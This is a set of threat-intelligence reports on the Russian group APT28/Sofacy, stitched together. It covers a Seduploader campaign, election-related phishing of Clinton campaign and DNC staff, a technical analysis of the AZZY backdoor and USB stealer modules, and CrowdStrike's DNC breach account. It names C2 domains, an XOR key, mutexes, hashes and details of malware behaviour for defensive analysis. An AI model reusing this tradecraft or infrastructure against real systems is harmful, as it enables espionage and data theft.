The key in our version is : key=b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64" .
The MUTEX name is different too : FG00nxojVs4gLBnwKc7HhmdK0h .
Here are some of the Seduploader features :Screenshot capture ( with the GDI API ) ;data/configuration Exfiltration ;Execution of code ;File downloading ;The Command & Control ( CC ) of the analysed sample is myinvestgroup[.]com .
During the investigation , the server did not provide any configuration to the infected machines .
Based on the metadata of the Office documents and the PE files , the attackers had created the file on Wednesday , the 4th of October .
Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the targets .
This campaign has most likely been created to allow the targeting of people linked to or interested by cybersecurity , so probably the people who are more sensitive to cybersecurity threats .
In this case , Group 74 did not use an exploit or any 0-day but simply used scripting language embedded within the Microsoft Office document .
Due to this change , the fundamental compromise mechanism is different as the payload is executed in a standalone mode .
The reasons for this are unknown , but , we could suggest that they did not want to utilize any exploits to ensure they remained viable for any other operations .
Actors will often not use exploits due to the fact that researchers can find and eventually patch these which renders the actors weaponized platforms defunct .
Additionally the author did some small updates after publications from the security community , again this is common for actors of this sophisticated nature , once their campaigns have been exposed they will often try to change tooling to ensure better avoidance .
For example the actor changed the XOR key and the MUTEX name .
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APT28 : AT THE CENTER OF THE STORM .
The Democratic National Committee ’s ( DNC ) June 2016 announcement attributing its network breach to the Russian Government triggered an international debate over Russia ’s sponsorship of information operations against the U.S.Our visibility into the operations of APT28 - a group we believe the Russian Government sponsors - has given us insight into some of the government ’s targets , as well as its objectives and the activities designed to further them .
We have tracked and profiled this group through multiple investigations , endpoint and network detections , and continuous monitoring .
Our visibility into APT28 ’s operations , which date to at least 2007 , has allowed us to understand the group ’s malware , operational changes , and motivations .
This intelligence has been critical to protecting and informing our clients , exposing this threat , and strengthening our confidence in attributing APT28 to the Russian Government .
On December 29 , 2016 , the Department of Homeland Security ( DHS ) and Federal Bureau of Investigation ( FBI ) released a Joint Analysis Report confirming FireEye ’s long held public assessment that the Russian Government sponsors APT28 .
Since at least 2007 , APT28 has engaged in extensive operations in support of Russian strategic interests .
The group , almost certainly compromised of a sophisticated and prolific set of developers and operators , has historically collected intelligence on defense and geopolitical issues .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
Over the past two years , Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine .
After compromising a victim organization , APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests .
To date these have included the conflict in Syria , NATO-Ukraine relations , the European Union refugee and migrant crisis , the 2016 Olympics and Paralympics Russian athlete doping scandal , public accusations regarding Russian state-sponsored hacking , and the 2016 U.S. presidential election .
This report details our observations of APT28 ’s targeting , and our investigation into a related breach .
We also provide an update on shifts in the group ’s tool development and use , and summarize the tactics APT28 employs to compromise its victims .
In October 2014 , FireEye released APT28 : A Window into Russia ’s Cyber Espionage Operations? , and characterized APT28 ’s activity as aligning with the Russian Government ’s strategic intelligence requirements .
While tracking APT28 , we noted the group ’s interest in foreign governments and militaries , particularly those of European and Eastern European nations , as well as regional security organizations , such as the North Atlantic Treaty Organization ( NATO ) and the Organization for Security and Cooperation in Europe ( OSCE ) , among others .
Table 1 highlights some recent examples of this activity .
NOVEMBER 2016 , The OSCE confirmed that it had suffered an intrusion , which a Western intelligence service attributed to APT28 .
Germany 's Christian Democratic Union ( CDU ) :APRIL - MAY 2016 , Researchers at Trend Micro observed APT28 establish a fake CDU email server and launch phishing emails against CDU members in an attempt to obtain their email credentials and access their accounts .
Pussy Riot AUGUST :2015 , APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
NATO , Afghan Ministry of Foreign Affairs , Pakistani Military :JULY 2015 , APT28 used two domains ( nato-news.com and bbc-news.org ) to host an Adobe Flash zero-day exploit to target NATO , the Afghan Ministry of Foreign Affairs , and the Pakistani military .
German Bundestag & Political Parties :JUNE 2015 , Germany ’s Federal Office for Security in Information Technology ( BSI ) announced that APT28 was likely responsible for the spear phishing emails sent to members of several German political parties .
The head of Germany ’s domestic intelligence agency , Bundesamt für Verfassungsschutz ( BfV ) , also attributed the June 2015 compromise of the Bundestag ’s networks to APT28 .
Kyrgyzstan Ministry of Foreign Affairs :OCTOBER 2014 THROUGH SEPTEMBER 2015 , FireEye iSight Intelligence identified changes made to domain name server ( DNS ) records that suggest that APT28 intercepted email traffic from the Kyrgyzstan Ministry of Foreign Affairs after maliciously modifying DNS records of the ministry ’s authoritative DNS servers .
Polish Government & Power Exchange websites :JUNE AND SEPTEMBER 2014 , APT28 employed “ Sedkit ” in conjunction with strategic web compromises to deliver “ Sofacy ” malware on Polish Government websites , and the websites of Polish energy company Power Exchange .
On September 13 , WADA confirmed that APT28 had compromised its networks and accessed athlete medical data .
On September 12 , 2016 , the “ Fancy Bears ’ Hack Team ” persona claimed to have compromised WADA and released athletes ’ medical records as “ proof of American athletes taking doping. ”The DNC announced it had suffered a network compromise and that a subsequent investigation found evidence of two breaches , attributed to APT28 and APT29 .
FireEye analyzed the malware found on DNC networks and determined that it was consistent with our previous observations of APT28 tools .
In June 2016 , shortly after the DNC ’s announcement , the Guccifer 2.0 persona claimed responsibility for the DNC breach and leaked documents taken from the organization ’s network .
Guccifer 2.0 continued to leak batches of DNC documents through September .
Investigators found that John Podesta , Hillary Clinton ’s presidential campaign chairman , was one of thousands of individuals targeted in a mass phishing scheme using shortened URLs that security researchers attributed to APT28 .
Throughout October and into early November , WikiLeaks published 34 batches of email correspondence stolen from John Podesta ’s personal email account .
Correspondence of other individuals targeted in the same phishing campaign , including former Secretary of State Colin Powell and Clinton campaign staffer William Rinehart , were published on the “ DC Leaks ” website .
In July , the DCCC announced that it was investigating an ongoing “ cybersecurity incident ” that the FBI believed was linked to the compromise of the DNC .
House Speaker Nancy Pelosi later confirmed that the DCCC had suffered a network compromise .
Investigators indicated that the actors may have gained access to DCCC systems as early as March .
In August , the Guccifer 2.0 persona contacted reporters covering U.S. House of Representative races to announce newly leaked documents from the DCCC pertaining to Democratic candidates .
From August to October , Guccifer 2.0 posted several additional installments of what appear to be internal DCCC documents on “ his ” WordPress site .
In February , FireEye identified CORESHELL traffic beaconing from TV5Monde ’s network , confirming that APT28 had compromised TV5Monde ’s network .
In April 2015 , alleged pro-ISIS hacktivist group CyberCaliphate defaced TV5Monde ’s websites and social media profiles and forced the company ’s 11 broadcast channels offline .
FireEye identified overlaps between the domain registration details of CyberCaliphate ’s website and APT28 infrastructure .
Ukrainian officials revealed that the investigation into the compromise of the CEC ’s internal network identified malware traced to APT28 .
During the May 2014 Ukrainian presidential election , purported pro-Russian hacktivists CyberBerkut conducted a series of malicious activities against the CEC including a system compromise , data destruction , a data leak , a distributed denial-of-service ( DDoS ) attack , and an attempted defacement of the CEC website with fake election results .
As news of the DNC breach spread , APT28 was preparing for another set of operations : countering the condemnation that Russia was facing after doping allegations and a threatened blanket ban of the Russian team from the upcoming Rio Games .
Russia , like many nations , has long viewed success in the Olympic Games as a source of national prestige and soft power on the world stage .
The doping allegations and prospective ban from the Games further ostracized Russia , and likely provided motivation to actively counter the allegations by attempting to discredit anti-doping agencies and policies .
Our investigation of APT28 ’s compromise of WADA ’s network , and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism .
Since releasing our 2014 report , we continue to assess that APT28 is sponsored by the Russian Government .
We further assess that APT28 is the group responsible for the network compromises of WADA and the DNC and other entities related to the 2016 U.S. presidential election cycle .
These breaches involved the theft of internal data - mostly emails – that was later strategically leaked through multiple forums and propagated in a calculated manner almost certainly intended to advance particular Russian Government aims .
In a report released on January 7 2017 , the U.S. Directorate of National Intelligence described this activity as an “ influence campaign. ” This influence campaign - a combination of network compromises and subsequent data leaks - aligns closely with the Russian military ’s publicly stated intentions and capabilities .
Influence operations , also frequently called “ information operations , ” have a long history of inclusion in Russian strategic doctrine , and have been intentionally developed , deployed , and modernized with the advent of the internet .
The recent activity in the U.S. is but one of many instances of Russian Government influence operations conducted in support of strategic political objectives , and it will not be the last .
As the 2017 elections in Europe approach - most notably in Germany , France , and the Netherlands - we are already seeing the makings of similarly concerted efforts .
In our 2014 report , we identified APT28 as a suspected Russian government-sponsored espionage actor .
We came to this conclusion in part based on forensic details left in the malware that APT28 had employed since at least 2007 .
We have provided an updated version of those conclusions , a layout of the tactics that they generally employ , as well as observations of apparent tactical shifts .
For full details , please reference our 2014 report , APT28 : A Window into Russia ’s Cyber Espionage Operations ? APT28 employs a suite of malware with features indicative of the group ’s plans for continued operations , as well as the group ’s access to resources and skilled developers .
backdoor , Xagent , webhp , SPLM .
backdoor , Sedreco , AZZY , Xagent , ADVSTORESHELL , NETUI .
backdoor , Sednit , Seduploader , JHUHUGIT , Sofacy .
downloader , Older version of CORESHELL , Sofacy .
credential harvester , Sasfis .
downloader , Newer version of SOURFACE , Sofacy .
APT28 continues to evolve its toolkit and refine its tactics in what is almost certainly an effort to protect its operational effectiveness in the face of heightened public exposure and scrutiny .
In addition to the continued evolution of the group ’s first stage tools , we have also noted APT28 : Leveraging zero-day vulnerabilities in Adobe Flash Player , Java , and Windows , including CVE-2015-1701 , CVE-2015-2424 , CVE-2015-2590 , CVE-2015-3043 , CVE-2015-5119 , and CVE-2015-7645 .
Using a profiling script to deploy zero-days and other tools more selectively , decreasing the chance that researchers and others will gain access to the group ’s tools .
Increasing reliance on public code depositories , such as Carberp , PowerShell Empire , P.A.S. webshell , Metasploit modules , and others in a likely effort to accelerate their development cycle and provide plausible deniability .
Obtaining credentials through fabricated Google App authorization and Oauth access requests that allow the group to bypass two-factor authentication and other security measures .
Moving laterally through a network relying only on legitimate tools that already exist within the victims ’ systems , at times forgoing their traditional toolset for the duration of the compromise .
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Threat Group 4127 Targets Hillary Clinton Presidential Campaign .
The Hillary Clinton email leak was the center of the latest scandal in the news caused by Threat Group-4127 ( TG-4127 ) .
SecureWorks Counter Threat Unit ( CTU ) researchers track the activities of Threat Group-4127 , which targets governments , military , and international non-governmental organizations ( NGOs ) .
Components of TG-4127 operations have been reported under the names APT28 , Sofacy , Sednit , and Pawn Storm .
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
Between October 2015 and May 2016 , CTU researchers analyzed 8,909 Bitly links that targeted 3,907 individual Gmail accounts and corporate and organizational email accounts that use Gmail as a service .
In March 2016 , CTU researchers identified a spearphishing campaign using Bitly accounts to shorten malicious URLs .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
Specific targets include staff working for or associated with Hillary Clinton's presidential campaign and the Democratic National Committee ( DNC ) , including individuals managing Clinton's communications , travel , campaign finances , and advising her on policy .
The short links in the spearphishing emails redirected victims to a TG-4127 controlled URL that spoofed a legitimate Google domain .
A Base64 encoded string containing the victim's full email address is passed with this URL , prepopulating a fake Google login page displayed to the victim .
If a victim enters their credentials , TG-4127 can establish a session with Google and access the victim's account .
The threat actors may be able to keep this session alive and maintain persistent access .
The Hillary for America presidential campaign owns the hillaryclinton.com domain , which is used for the campaign website ( www.hillaryclinton.com ) and for email addresses used by campaign staff .
An examination of the hillaryclinton.com DNS records shows that the domain's MX records , which indicate the mail server used by the domain , point to aspmx.l.google.com , the mail server used by Google Apps .
Google Apps allows organizations to use Gmail as their organizational mail solution .
TG-4127 exploited the Hillary for America campaign's use of Gmail and leveraged campaign employees' expectation of the standard Gmail login page to access their email account .
When presented with TG-4127 's spoofed login page , victims might be convinced it was the legitimate login page for their hillaryclinton.com email account .
CTU researchers observed the first short links targeting hillaryclinton.com email addresses being created in mid-March 2016 ; the last link was created in mid-May .
During this period , TG-4127 created 213 short links targeting 108 email addresses on the hillaryclinton.com domain .
Through open-source research , CTU researchers identified the owners of 66 of the targeted email addresses .
There was no open-source footprint for the remaining 42 addresses , suggesting that TG-4127 acquired them from another source , possibly other intelligence activity .
The identified email owners held a wide range of responsibilities within the Hillary for America campaign , extending from senior figures to junior employees and the group mailboxes for various regional offices .
Targeted senior figures managed communications and media affairs , policy , speech writing , finance , and travel , while junior figures arranged schedules and travel for Hillary Clinton's campaign trail .
Targets held the following titles :National political director Finance director Director of strategic communications Director of scheduling Director of travel Traveling press secretary Travel coordinator .
Publicly available Bitly data reveals how many of the short links were clicked , likely by a victim opening a spearphishing email and clicking the link to the fake Gmail login page .
Only 20 of the 213 short links have been clicked as of this publication .
Eleven of the links were clicked once , four were clicked twice , two were clicked three times , and two were clicked four times .
The U.S. Democratic party's governing body , the Democratic National Committee ( DNC ) , uses the dnc.org domain for its staff email .
Between mid-March and mid-April 2016 , TG-4127 created 16 short links targeting nine dnc.org email accounts .
CTU researchers identified the owners of three of these accounts ; two belonged to the DNC 's secretary emeritus , and one belonged to the communications director .
Four of the 16 short links were clicked , three by the senior staff members .
As of this publication , dnc.org does not use the Google Apps Gmail email service .
However , because dnc.org email accounts were targeted in the same way as hillaryclinton.com accounts , it is likely that dnc.org did use Gmail at that time and later moved to a different service .
CTU researchers do not have evidence that these spearphishing emails are connected to the DNC network compromise that was revealed on June 14 .
However , a coincidence seems unlikely , and CTU researchers suspect that TG-4127 used the spearphishing emails or similar techniques to gain an initial foothold in the DNC network .
CTU researchers identified TG-4127 targeting 26 personal gmail.com accounts belonging to individuals linked to the Hillary for America campaign , the DNC , or other aspects of U.S. national politics .
Five of the individuals also had a hillaryclinton.com email account that was targeted by TG-4127 .
Many of these individuals held communications , media , finance , or policy roles .
They include the director of speechwriting for Hillary for America and the deputy director office of the chair at the DNC .
TG-4127 created 150 short links targeting this group .
As of this publication , 40 of the links have been clicked at least once .
Although the 2015 campaign did not focus on individuals associated with U.S. politics , open-source evidence suggests that TG-4127 targeted individuals connected to the U.S. White House in early 2015 .
The threat group also reportedly targeted the German parliament and German Chancellor Angela Merkel's Christian Democratic Union party .
CTU researchers have not observed TG-4127 use this technique ( using Bitly short links ) to target the U.S. Republican party or the other U.S. presidential candidates whose campaigns were active between mid-March and mid-May : Donald Trump , Bernie Sanders , Ted Cruz , Marco Rubio , and John Kasich .
However , the following email domains do not use Google mail servers and may have been targeted by other means :gop.com — used by the Republican National Committee , donaldjtrump.com — used by the Donald Trump campaign , johnkasich.com — used by the John Kasich campaign .
Access to targets' Google accounts allows TG-4127 to review internal emails and potentially access other Google Apps services used by these organizations , such as Google Drive .
In addition to the value of the intelligence , the threat actors could also exploit this access for other malicious activity , such as generating spearphishing emails from internal email addresses to compromise the organizations' networks with malware .
The Russian government views the U.S. as a strategic rival and is known to task its intelligence agencies with gathering confidential information about individuals and organizations close to the center of power in the U.S. Individuals working for the Hillary for America campaign could have information about proposed policies for a Clinton presidency , including foreign-policy positions , which would be valuable to the Russian government .
Information about travel plans and campaign scheduling could provide short-term opportunities for other intelligence operations .
Long-term access to email accounts of senior campaign advisors , who may be appointed to staff positions in a Clinton administration , could provide TG-4127 and the Russian government with access to those individual's accounts .
While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .
Non-governmental political organizations may provide access to desirable national policy information , especially foreign policy , but may not have the same level of protection and security as governmental organizations .
Targeting individuals linked to presidential campaigns could represent an intelligence ‘ long game ,' as establishing access to potential U.S. administration staff before they are appointed could be easier than targeting them when they are established in the White House .
Access to an individual's personal or corporate email account provides a substantial amount of useful intelligence , and threat actors could also leverage the access to launch additional attacks to penetrate the network of an associated organization .
Users rarely check the full URL associated with short links , so threat groups can use URL-shortening services to effectively hide malicious URLs .
Threat actors can use the services' detailed statistics about which links were clicked when , and from what location , to track the success of a spearphishing campaign .
A single compromised account could allow TG-4127 to achieve its operational goals .
CTU researchers recommend that clients take appropriate precautions to minimize the risk of these types of attacks :Educate users about the risks of spearphishing emails .
Use caution and exercise due diligence when faced with a shortened link , especially in unsolicited email messages .
Pasting Bitly URLs , appended with a plus sign , into the address bar of a web browser reveals the full URL .
Sofacy APT hits high profile targets with updated toolset .
Sofacy ( also known as “ Fancy Bear ” , “ Sednit ” , “ STRONTIUM ” and “ APT28 ” ) is an advanced threat group that has been active since around 2008 , targeting mostly military and government entities worldwide , with a focus on NATO countries .
More recently , we have also seen an increase in activity targeting Ukraine .
Back in 2011-2012 , the group used a relatively tiny implant ( known as “ Sofacy ” or SOURFACE ) as its first stage malware .
The implant shared certain similarities with the old Miniduke implants .
This led us to believe the two groups were connected , at least to begin with , although it appears they parted ways in 2014 , with the original Miniduke group switching to the CosmicDuke implant .
At some point during 2013 , the Sofacy group expanded its arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across four to five generations ) and a few others .
We ’ve seen quite a few versions of these implants and they were relatively widespread for a time .
Sofacy ’s August 2015 attack wave .
In the months leading up to August , the Sofacy group launched several waves of attacks relying on zero-day exploits in Microsoft Office , Oracle Sun Java , Adobe Flash Player and Windows itself .
For instance , its JHUHUGIT implant was delivered through a Flash zero-day and used a Windows EoP exploit to break out of the sandbox .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
While the JHUHUGIT ( and more recently , “ JKEYSKW ” ) implant used in most of the Sofacy attacks , high profile victims are being targeted with another first level implant , representing the latest evolution of their AZZYTrojan .
The first versions of the new AZZY implant appeared in August of this year .
During a high profile incident we investigated , our products successfully detected and blocked a “ standard ” Sofacy “ AZZY ” sample that was used to target a range of defense contractors .
The sample used in this attack ( MD5 A96F4B8AC7AA9DBF4624424B7602D4F7 , compiled July 29th , 2015 ) was a pretty standard Sofacy x64 AZZY implant , which has the internal name “ advshellstore.dll ” .
Interestingly , the fact that the attack was blocked didn’t appear to stop the Sofacy team .
Just an hour and a half later they had compiled and delivered another AZZY x64 backdoor ( md5: 9D2F9E19DB8C20DC0D20D50869C7A373 , compiled August 4th , 2015 ) .
This was no longer detectable with static signatures by our product .
However , it was detected dynamically by the host intrusion prevention subsystem when it appeared in the system and was executed .
This recurring , blindingly-fast Sofacy attack attracted our attention as neither sample was delivered through a zero-day vulnerability — instead , they appeared to be downloaded and installed by another malware .
This separate malware was installed by an unknown attack as “ AppData\Local\Microsoft\Windows\msdeltemp.dll ” ( md5: CE8B99DF8642C065B6AF43FDE1F786A3 ) .
The top level malware , CE8B99DF8642C065B6AF43FDE1F786A3 ( named by its authors “ msdeltemp.dll ” according to internal strings , and compiled July 28th , 2015 ) is a rare type of the Sofacy AZZY implant .
It has been modified to drop a separate C&C helper , ( md5: 8C4D896957C36EC4ABEB07B2802268B9 ) as “ tf394kv.dll “ .
The dropped “ tf394kv.dll ” file is an external C&C communications library , compiled on July 24th , 2015 and used by the main backdoor for all Internet-based communications .
This code modification marks an unusual departure from the typical AZZY backdoors , with its C&C communication functions moved to an external DLL file .
In the past , the Sofacy developers modified earlier AZZY backdoors to use a C&C server encoded in the registry , instead of storing it in the malware itself , so this code modularisation follows the same line of thinking .
In addition to the new AZZY backdoors with side-DLL for C&C , we observed a new set of data-theft modules deployed against victims by the Sofacy group .
Among the most popular modern defense mechanisms against APTs are air-gaps — isolated network segments without Internet access , where sensitive data is stored .
In the past , we ’ve seen groups such as Equation and Flame use malware to steal data from air-gapped networks .
The Sofacy group uses such tools as well .
The first versions of these new USB stealer modules appeared around February 2015 and the latest appear to have been compiled in May 2015 .
Older versions of these USBSTEALER modules were previously described by our colleagues from ESET .
One example of the new Sofacy USBSTEALER modules is 8b238931a7f64fddcad3057a96855f6c , which is named internally as msdetltemp.dll .
This data theft module appears to have been compiled in May 2015 and is designed to watch removable drives and collect files from them , depending on a set of rules defined by the attackers .
The stolen data is copied into a hidden directory as “ %MYPICTURES%\%volume serial number% “ , from where it can be exfiltrated by the attackers using one of the AZZY implants .
More details on the new USB stealers are available in the section on technical analysis .
Over the last year , the Sofacy group has increased its activity almost tenfold when compared to previous years , becoming one of the most prolific , agile and dynamic threat actors in the arena .
This activity spiked in July 2015 , when the group dropped two completely new exploits , an Office and Java zero-day .
At the beginning of August , Sofacy began a new wave of attacks , focusing on defense-related targets .
As of November 2015 , this wave of attacks is ongoing .
The attackers deploy a rare modification of the AZZY backdoor , which is used for the initial reconnaissance .
Once a foothold is established , they try to upload more backdoors , USB stealers as well as other hacking tools such as “ Mimikatz ” for lateral movement .
Two recurring characteristics of the Sofacy group that we keep seeing in its attacks are speed and the use of multi-backdoor packages for extreme resilience .
In the past , the group used droppers that installed both the SPLM and AZZY backdoors on the same machine .
If one of them was detected , the other one provided the attacker with continued access .
Internal name : DWN_DLL_MAIN.dll File format : PE32 DLL MD5: ce8b99df8642c065b6af43fde1f786a3 Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.07.28 13:05:20 ( GMT ) .
The library starts its main worker thread from the DllMain function .
Most of the strings inside the module are encrypted with a homebrew XOR-based algorithm .
In addition to that , API function names are reversed , presumably to avoid detection in memory .
Once started , the code in the main thread resolves the basic API functions it needs and loads an additional library from the following location : “ %TEMP%\tf394kv.dll ” .
If this file is not present , it is recreated from a hardcoded encrypted array inside the body of the DLL .
Next , the module enters an infinite loop .
Every five minutes it collects basic system information and sends it to the C2 server .
The main thread also spawns a separate thread for receiving new commands from the C2 servers .
Every 10 minutes , it sends a new request to the server .
The server is expected to send back executable code and one of the following commands :Write a new file “ %LOCAL_APPDATA%\dllhost.exe ” or “ %TEMP%\dllhost.exe ” and execute it , then delete the file , Write a new file “ %LOCAL_APPDATA%\sechost.dll ” or “ %TEMP%\sechost.dll ” and call its first exported function using “ rundll32.exe ” or Windows API , then delete the file , Run shellcode provided by the server in a new thread While processing the commands , the backdoor logs all errors and execution results .
The module also reads the contents of the file “ %APPDATA%\chkdbg.log ” and appends it to the results .
It then sends the aggregated log back to the C2 server .
The module aborts the thread receiving C2 command after it fails to correctly execute commands more than six times in a row , i.e. if file or process creation fails .
The export called “ k ” is a wrapper for the “ LoadLibraryA ” API function .
The export called “ SendDataToServer_2 ” does exactly what the name means : it encrypts all collected data , encodes it using Base64 encoding and calls its additional library to send the data to the C2 server .
The names of the C2 servers are hardcoded .
The two C&C ’s hardcoded in the configuration block of the main binary are :intelnetservice.com intelsupport.net The export called “ Applicate ” runs a standard Windows application message loop until a “ WM_ENDSESSION ” message is received .
It then terminates the main thread .
Internal name : snd.dll File format : PE32 DLL MD5: 8c4d896957c36ec4abeb07b2802268b9 Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.07.24 12:07:27 ( GMT ) Exported functions :10001580: Init 10001620: InternetExchange 10001650: SendData This external library implements a simple Wininet-based transport for the main module .
The strings inside the binary are encrypted using 3DES and XOR and reversed .
The DllMain function initializes the library and resolves all required Windows API functions .
The “ Init ” export establishes connection to port 80 of a C2 server using Wininet API .
The user agent string employed is “ MSIE 8.0 ” .
The “ SendData ” export sends a HTTP POST request using a hardcoded URI “ /store/ “ .
The reply , if its length is not equal to six and its contents do not contain “ OK ” is returned back to the caller .
The “ InternetExchange ” export closes the established connection and frees associated handles .
Sofacy AZZY 4.3 dropper analysis File format : PE32 EXE File size : 142,336 bytes MD5: c3ae4a37094ecfe95c2badecf40bf5bb Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.02.10 10:01:59 ( GMT ) Most of the strings and data in the file are encrypted using 3DES and XOR .
The code makes use of the Windows Crypto API for 3DES and the decryption key is stored as a standard Windows PUBLICKEYSTRUC structure .
First , it creates a new directory : “ %LOCAL_APPDATA%\Microsoft\Windows ” .
If the directory creation fails it tries to install into “ %TEMP% ” directory instead .
Next it writes a hardcoded binary from its body to “ msdeltemp.dll ” into the target directory .
If the file exists it then moves it to “ __tmpdt.tmp ” in the same directory and continues the installation .
Sets file creation timestamp to that of “ %SYSTEM%\sfc.dll ” .
Finally , the program removes itself by starting the following command : “ cmd /c DEL %path to self% “ The MD5 of the dropped file is f6f88caf49a3e32174387cacfa144a89 .
Dropper payload – downloader DLL Internal name : msdetltemp.dll File format : PE32 DLL File size : 73 728 bytes MD5: f6f88caf49a3e32174387cacfa144a89 Linker version : 11.0 , Microsoft Visual Studio Linker timestamp : 2015.02.10 07:20:02 ( GMT ) Exported functions :10002B55: Applicate Most of the strings inside the binary are encrypted using a homebrew XOR-based algorithm and reversed .
The library is an older version of the “ DWN_DLL_MAIN.dll ” ( md5: ce8b99df8642c065b6af43fde1f786a3 ) .
The DllMain function is identical and starts the main thread ; the “ Applicate ” function is identical to the one in the newer library .
This version of the module does not rely on an external transport DLL for communicating with its C2 servers ; instead it directly uses Wininet API functions .
The module contains the following hardcoded C2 server names :drivres-update.info softupdates.info The module uses a hardcoded URL ( “ /check/ “ ) for sending HTTP POST requests to its C2 servers .
Sofacy APT hits high profile targets with updated toolset .
File collection module ( “ USB Stealer ” ) Internal name : msdetltemp.dll ( from resources ) File size : 50,176 bytes File format : PE32 EXE MD5: 0369620eb139c3875a62e36bb7abdae8 Linker version : 10.0 , Microsoft Visual Studio Linker timestamp : 2015.02.09 11:48:01 ( GMT ) Most of the strings inside the binary are encrypted using 3DES and XOR and reversed .
The program creates the mutex “ mtx ” and an event named “ WerTyQ34C ” .
Upon start , it creates a window with the class name “ Hello ” and title “ Program ” , subscribes for device arrival notifications for that window and enters a standard Windows message processing loop .
The message processing function waits for the WM_DEVICECHANGE event and starts a new thread on its arrival .
The module inspects every new disk volume attached to the system .
For every disk it creates a “ stash ” directory in “ %root stash directory location%\%volume serial number in hex% ” with attributes FILE_ATTRIBUTE_HIDDEN and FILE_ATTRIBUTE_SYSTEM .
The root stash directory location may be read from the configuration file or set to the default location which is “ %MYPICTURES% ” .
Then , it traverses the filesystem of the volume looking for files .
Depending on the settings read from the configuration file , the scope may be narrowed to files with particular extensions and/or files created after a specified date .
It is worth noting that if the source file location contains the string “ System Volume Information\S-1-5-21-1315235578-283289242\ ” , then the file is deleted after copying to the “ stash ” directory .
There are known related samples that are able to create such directories on removable drives , i.e .
the sample with md5: 8cb08140ddb00ac373d29d37657a03cc .
The configuration file is loaded from the same directory as the module and is expected to have a name “ NvCpld.dat “ .
It is a text file that may contain the following configuration parameters :Path – location of the root “ stash ” directory Ext – search for files with one of these extensions only Date – search for files not earlier than this date Internal name : NvCpld.dll ( from export table ) , msdetltemp.dll ( from resources ) , IGFSRVC.dll ( from resources ) File format : PE32 DLL File size : 76,288 bytes MD5s : 8b238931a7f64fddcad3057a96855f6c , ce151285e8f0e7b2b90162ba171a4b90 Linker version : 11.0 , Microsoft Visual Studio Linker timestamps : 2015.05.29 11:20:32 ( GMT ) , 2006.11.25 04:39:15 ( GMT ) Exported functions :10002500: NvMswt 10002860: NvReg 10002880: NvStart 10002A80: NvStop This library is a newer version of the file collection module ( md5: 0369620eb139c3875a62e36bb7abdae8 ) wrapped in a DLL file .
There are two known variants of this module ; they only differ in timestamp values and version information in the resource section .
The DllMain function only decrypts the data structures and initializes Windows API pointers .
The function “ NvMswt ” is a wrapper for the API function MsgWaitForMultipleObjects .
The function “ NvReg ” is a wrapper for the API function RegisterClassW .
The function “ NvStart ” is similar to the main function of the older module ; it creates a window and enters the message loop waiting for device arrival notifications .
The only difference introduced is that an event named “ WerTyQ34C ” can be signalled by the function “ NvStop ” to terminate the message loop and stop processing .
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Bears in the Midst : Intrusion Into the Democratic National Committee .
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Bears in the Midst : Intrusion Into the Democratic National Committee .
There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe .
In all of these cases , we operate under strict confidentiality rules with our customers and cannot reveal publicly any information about these attacks .
But on rare occasions , a customer decides to go public with information about their incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers .
This story is about one of those cases .
CrowdStrike Services Inc. , our Incident Response group , was called by the Democratic National Committee ( DNC ) , the formal governing body for the US Democratic Party , to respond to a suspected breach .
We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network – COZY BEAR and FANCY BEAR .
We ’ve had lots of experience with both of these actors attempting to target our customers in the past and know them well .
In fact , our team considers them some of the best threat actors out of all the numerous nation-state , criminal and hacktivist/terrorist groups we encounter on a daily basis .
Their tradecraft is superb , operational security second to none and the extensive usage of ‘ living-off-the-land ’ techniques enables them to easily bypass many security solutions they encounter .
In particular , we identified advanced methods consistent with nation-state level capabilities including deliberate targeting and ‘ access management ’ tradecraft – both groups were constantly going back into the environment to change out their implants , modify persistent methods , move to new Command & Control channels and perform other tasks to try to stay ahead of being detected .
Both adversaries engage in extensive political and economic espionage for the benefit of the government of the Russian Federation and are believed to be closely linked to the Russian government ’s powerful and highly capable intelligence services .
COZY BEAR ( also referred to in some industry reports as CozyDuke or APT 29 ) is the adversary group that last year successfully infiltrated the unclassified networks of the White House , State Department , and US Joint Chiefs of Staff .
In addition to the US government , they have targeted organizations across the Defense , Energy , Extractive , Financial , Insurance , Legal , Manufacturing Media , Think Tanks , Pharmaceutical , Research and Technology industries , along with Universities .
Victims have also been observed in Western Europe , Brazil , China , Japan , Mexico , New Zealand , South Korea , Turkey and Central Asian countries .
COZY BEAR ’s preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper .
Once executed on the machine , the code will deliver one of a number of sophisticated Remote Access Tools ( RATs ) , including AdobeARM , ATI-Agent , and MiniDionis .
On many occasions , both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine , using a debugger , or located within a sandbox .
They have extensive checks for the various security software that is installed on the system and their specific configurations .
When specific versions are discovered that may cause issues for the RAT , it promptly exits .
